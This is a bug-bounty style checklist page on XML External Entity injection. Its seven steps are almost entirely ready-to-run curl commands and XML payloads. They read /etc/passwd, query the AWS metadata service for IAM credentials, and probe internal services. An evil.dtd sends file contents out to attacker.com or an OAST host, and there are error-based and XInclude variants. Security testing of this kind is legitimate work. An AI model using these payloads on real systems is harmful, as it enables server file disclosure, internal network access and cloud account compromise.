XML External Entity (XXE) Injection

Exploitation HIGH v1.0.0 updated 2026-07-05

Test for XXE vulnerabilities to read local files, perform SSRF against internal services, and exfiltrate data through classic, blind, and error-based external entity injection.

Tools

Burp SuiteXXEinjectorinteractshcurl

Tags

exploitationxxexmlfile-disclosuressrfoob

// checklist steps

xxe-01

Identify XML input vectors

Map every place the application parses XML, including SOAP endpoints, REST bodies with XML content types, file uploads that embed XML (SVG, DOCX, XLSX, PPTX), and SAML assertions.

# Force an XML content type on a JSON endpoint
curl -sk -X POST 'https://target.com/api/user' -H 'Content-Type: application/xml' --data '<?xml version="1.0"?><user><name>test</name></user>'
# Inspect an uploaded SVG (SVG is XML)
printf '<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg"><text>x</text></svg>' > test.svg
curl -sk -F 'file=@test.svg' 'https://target.com/upload'

Many JSON APIs silently fall back to an XML parser when you flip the Content-Type header. Office documents (DOCX, XLSX, PPTX) are ZIP archives of XML — unzip, inject into document.xml, and re-zip.

xxe-02

Confirm classic in-band XXE for local file read

Define an external entity referencing a local file and reflect it in a response field to read arbitrary files from the server.

# Read /etc/passwd via an external entity reflected in a response field
curl -sk -X POST 'https://target.com/api/parse' -H 'Content-Type: application/xml' --data '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><data>&xxe;</data></root>'
# Use php://filter to base64-encode files that break XML parsing
curl -sk -X POST 'https://target.com/api/parse' -H 'Content-Type: application/xml' --data '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]><root><data>&xxe;</data></root>'

In-band XXE requires the entity value to be echoed back somewhere in the response. If the target reflects one of the XML fields, inject the entity into exactly that field.

xxe-03

Escalate XXE to SSRF against cloud metadata

Point the external entity at internal HTTP services and cloud metadata endpoints to pivot from file read to internal network access and credential theft.

# AWS IMDS via XXE
curl -sk -X POST 'https://target.com/api/parse' -H 'Content-Type: application/xml' --data '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]><root><data>&xxe;</data></root>'
# Internal service probe
curl -sk -X POST 'https://target.com/api/parse' -H 'Content-Type: application/xml' --data '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">]><root><data>&xxe;</data></root>'

XXE-to-SSRF is often higher impact than the file read itself. Check whether the parser follows HTTP redirects, which can help you reach IMDSv2 or bypass scheme restrictions.

xxe-04

Detect blind XXE with out-of-band callbacks

When no entity is reflected, use an external DTD hosted on your server plus an OAST endpoint to confirm the parser resolves external entities.

interactsh-client -v
# Host evil.dtd on your server with an OOB entity
printf '<!ENTITY %% file SYSTEM "file:///etc/hostname">\n<!ENTITY %% eval "<!ENTITY &#x25; exfil SYSTEM &#x27;http://<oast-id>.oast.pro/?x=%%file;&#x27;>">\n%%eval;\n%%exfil;' > evil.dtd
# Trigger the parser to fetch your external DTD
curl -sk -X POST 'https://target.com/api/parse' -H 'Content-Type: application/xml' --data '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY %% xxe SYSTEM "http://<oast-id>.oast.pro/evil.dtd"> %%xxe;]><root>x</root>'

Blind XXE is common when the parser suppresses output. A DNS or HTTP hit on your OAST server confirms external entity resolution even when nothing is reflected in the response.

xxe-05

Exfiltrate file contents via parameter entities

Use nested parameter entities in an external DTD to smuggle the contents of local files into an OOB request, bypassing in-band restrictions on general entities.

# evil.dtd: read a file and append it to an OOB URL
printf '<!ENTITY %% file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">\n<!ENTITY %% eval "<!ENTITY &#x25; exfil SYSTEM &#x27;http://attacker.com/?data=%%file;&#x27;>">\n%%eval;\n%%exfil;' > evil.dtd
python3 -m http.server 80
# Point the target at your hosted DTD
curl -sk -X POST 'https://target.com/api/parse' -H 'Content-Type: application/xml' --data '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY %% remote SYSTEM "http://attacker.com/evil.dtd"> %%remote;]><root>x</root>'

Parameter entities (%name;) are allowed inside DTDs even when general entities are blocked. Base64-encode the target file with php://filter so newlines and XML metacharacters do not corrupt the exfil URL.

xxe-06

Extract data through error-based XXE

When there is no OOB channel, force the parser to include file contents in an error message by referencing a nonexistent file path built from the target data.

# evil.dtd: place file contents into an invalid SYSTEM path to leak them in the parse error
printf '<!ENTITY %% file SYSTEM "file:///etc/passwd">\n<!ENTITY %% eval "<!ENTITY &#x25; error SYSTEM &#x27;file:///nonexistent/%%file;&#x27;>">\n%%eval;\n%%error;' > evil.dtd
curl -sk -X POST 'https://target.com/api/parse' -H 'Content-Type: application/xml' --data '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY %% remote SYSTEM "http://attacker.com/evil.dtd"> %%remote;]><root>x</root>'

Error-based exfiltration works when the application returns verbose XML parser errors. The file contents appear inside the "failed to load external entity" message because the parser embeds your path in the error.

xxe-07

Inject XXE via XInclude when you do not control the document

When the server embeds your input into a larger XML document you cannot fully control, use XInclude to pull in local files without declaring a DOCTYPE.

# XInclude payload placed into a single controllable field
curl -sk -X POST 'https://target.com/api/search' -H 'Content-Type: application/x-www-form-urlencoded' --data 'q=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>'

XInclude does not require a DOCTYPE, so it works when the surrounding document is generated server-side and you only control one element. Try parse="text" to read files that are not well-formed XML.

Overview

XML External Entity injection abuses XML parsers that resolve external entities and DTDs. A single XXE can read local files, forge server-side requests into the internal network, and exfiltrate secrets — making it one of the highest-impact server-side findings on programs that still process XML, SOAP, SAML, or Office document uploads.

What to look for

Any endpoint that accepts XML is a candidate, but the richest surfaces are the non-obvious ones: SVG and Office file uploads (which are XML under the hood), SAML single sign-on assertions, RSS/Atom feed importers, sitemap parsers, and JSON APIs that quietly accept application/xml. Flip the Content-Type header on JSON endpoints before assuming they are safe.

High-impact findings

Escalate every XXE beyond the proof-of-concept file read. XXE-to-SSRF against cloud metadata can yield IAM credentials and full account compromise, while parameter-entity and error-based exfiltration turn a “blind” parser into full arbitrary file disclosure. Always report the maximum realistic impact, not just /etc/passwd.

// references

  1. https://portswigger.net/web-security/xxe
  2. https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
  3. https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
  4. https://github.com/enjoiz/XXEinjector
  5. https://portswigger.net/web-security/xxe/blind
← All checklists JSON ↗